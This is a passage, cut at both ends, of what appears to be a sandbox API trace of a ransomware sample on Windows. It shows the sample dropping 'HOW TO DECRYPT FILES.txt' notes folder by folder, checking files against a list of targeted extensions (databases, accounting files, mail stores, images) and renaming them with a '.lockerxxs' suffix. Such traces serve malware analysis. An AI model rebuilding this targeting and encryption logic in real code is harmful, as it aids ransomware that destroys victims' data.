pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\") returned="" [0058.733] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\HOW TO DECRYPT FILES.txt" [0058.733] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\how to decrypt files.txt")) returned 0xffffffff [0058.733] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0058.735] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.735] CloseHandle (hObject=0x8c) returned 1 [0058.735] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", lpString2="OSE.EXE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" [0058.735] FindNextFileA (in: hFindFile=0x4f81a8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0058.735] FindClose (in: hFindFile=0x4f81a8 | out: hFindFile=0x4f81a8) returned 1 [0058.736] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0058.736] lstrcmpA (lpString1=".", lpString2="Stationery") returned -1 [0058.736] lstrcmpA (lpString1="..", lpString2="Stationery") returned -1 [0058.736] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0058.736] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\", lpString2="Stationery" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" [0058.736] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84c8, cFileName=".", cAlternateFileName="")) returned 0x4f81a0 [0058.740] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.740] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.741] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.741] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.741] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0058.741] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.741] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Bears.htm") returned 1 [0058.741] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Bears.htm") returned 1 [0058.741] lstrcmpiA (lpString1="", lpString2="Bears.htm") returned -1 [0058.741] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*") returned="*.*" [0058.741] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.741] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.741] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.741] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0xffffffff [0058.741] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0058.743] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.743] CloseHandle (hObject=0x8c) returned 1 [0058.744] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Bears.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" [0058.744] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" [0058.744] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" [0058.744] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm." [0058.744] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.lockerxxs" [0058.744] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.745] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x4f8268, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0058.745] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.745] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Bears.jpg") returned 1 [0058.745] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Bears.jpg") returned 1 [0058.745] lstrcmpiA (lpString1="", lpString2="Bears.jpg") returned -1 [0058.745] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned="Bears.htm" [0058.745] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.745] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.745] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.746] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.746] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Bears.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" [0058.746] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" [0058.746] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" [0058.746] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg." [0058.746] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.lockerxxs" [0058.746] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.746] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x4f8268, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0058.746] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.746] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Blue_Gradient.jpg") returned 1 [0058.746] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Blue_Gradient.jpg") returned 1 [0058.746] lstrcmpiA (lpString1="", lpString2="Blue_Gradient.jpg") returned -1 [0058.746] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned="Bears.jpg" [0058.746] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.747] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.747] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.747] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.747] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Blue_Gradient.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" [0058.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.ems") returned 0 [0058.747] lstrlenA (lpString="*.ems") returned 5 [0058.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.db") returned 0 [0058.747] lstrlenA (lpString="*.db") returned 4 [0058.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.dbf") returned 0 [0058.747] lstrlenA (lpString="*.dbf") returned 5 [0058.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.myox") returned 0 [0058.747] lstrlenA (lpString="*.myox") returned 6 [0058.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.myo") returned 0 [0058.747] lstrlenA (lpString="*.myo") returned 5 [0058.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.qbw") returned 0 [0058.747] lstrlenA (lpString="*.qbw") returned 5 [0058.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.qbb") returned 0 [0058.747] lstrlenA (lpString="*.qbb") returned 5 [0058.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.qbm") returned 0 [0058.747] lstrlenA (lpString="*.qbm") returned 5 [0058.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.qbo") returned 0 [0058.747] lstrlenA (lpString="*.qbo") returned 5 [0058.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.qbx") returned 0 [0058.748] lstrlenA (lpString="*.qbx") returned 5 [0058.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.qba") returned 0 [0058.748] lstrlenA (lpString="*.qba") returned 5 [0058.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.qby") returned 0 [0058.748] lstrlenA (lpString="*.qby") returned 5 [0058.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.qbj") returned 0 [0058.748] lstrlenA (lpString="*.qbj") returned 5 [0058.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.ofx") returned 0 [0058.748] lstrlenA (lpString="*.ofx") returned 5 [0058.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.qif") returned 0 [0058.748] lstrlenA (lpString="*.qif") returned 5 [0058.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.mye") returned 0 [0058.748] lstrlenA (lpString="*.mye") returned 5 [0058.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.mbox") returned 0 [0058.748] lstrlenA (lpString="*.mbox") returned 6 [0058.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.eml") returned 0 [0058.748] lstrlenA (lpString="*.eml") returned 5 [0058.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.pst") returned 0 [0058.748] lstrlenA (lpString="*.pst") returned 5 [0058.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.ost") returned 0 [0058.748] lstrlenA (lpString="*.ost") returned 5 [0058.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.idx") returned 0 [0058.748] lstrlenA (lpString="*.idx") returned 5 [0058.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.dbx") returned 0 [0058.748] lstrlenA (lpString="*.dbx") returned 5 [0058.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.sql") returned 0 [0058.749] lstrlenA (lpString="*.sql") returned 5 [0058.749] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.mdb") returned 0 [0058.749] lstrlenA (lpString="*.mdb") returned 5 [0058.749] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.fdb") returned 0 [0058.749] lstrlenA (lpString="*.fdb") returned 5 [0058.749] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.wab") returned 0 [0058.749] lstrlenA (lpString="*.wab") returned 5 [0058.749] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.dat") returned 0 [0058.749] lstrlenA (lpString="*.dat") returned 5 [0058.749] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.txt") returned 0 [0058.749] lstrlenA (lpString="*.txt") returned 5 [0058.749] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.jpeg") returned 0 [0058.749] lstrlenA (lpString="*.jpeg") returned 6 [0058.749] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", pszSpec="*.jpg") returned 1 [0058.749] lstrlenA (lpString="*.jpg") returned 5 [0058.749] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" [0058.749] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" [0058.749] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg." [0058.749] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.lockerxxs" [0058.749] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.750] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x4f8278, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0058.750] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.750] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Cave_Drawings.gif") returned 1 [0058.750] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Cave_Drawings.gif") returned 1 [0058.750] lstrcmpiA (lpString1="", lpString2="Cave_Drawings.gif") returned -1 [0058.750] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned="Blue_Gradient.jpg" [0058.751] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.751] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.751] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.751] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.751] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Cave_Drawings.gif" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" [0058.751] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.ems") returned 0 [0058.751] lstrlenA (lpString="*.ems") returned 5 [0058.751] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.db") returned 0 [0058.751] lstrlenA (lpString="*.db") returned 4 [0058.751] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.dbf") returned 0 [0058.751] lstrlenA (lpString="*.dbf") returned 5 [0058.751] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.myox") returned 0 [0058.751] lstrlenA (lpString="*.myox") returned 6 [0058.751] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.myo") returned 0 [0058.751] lstrlenA (lpString="*.myo") returned 5 [0058.751] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft 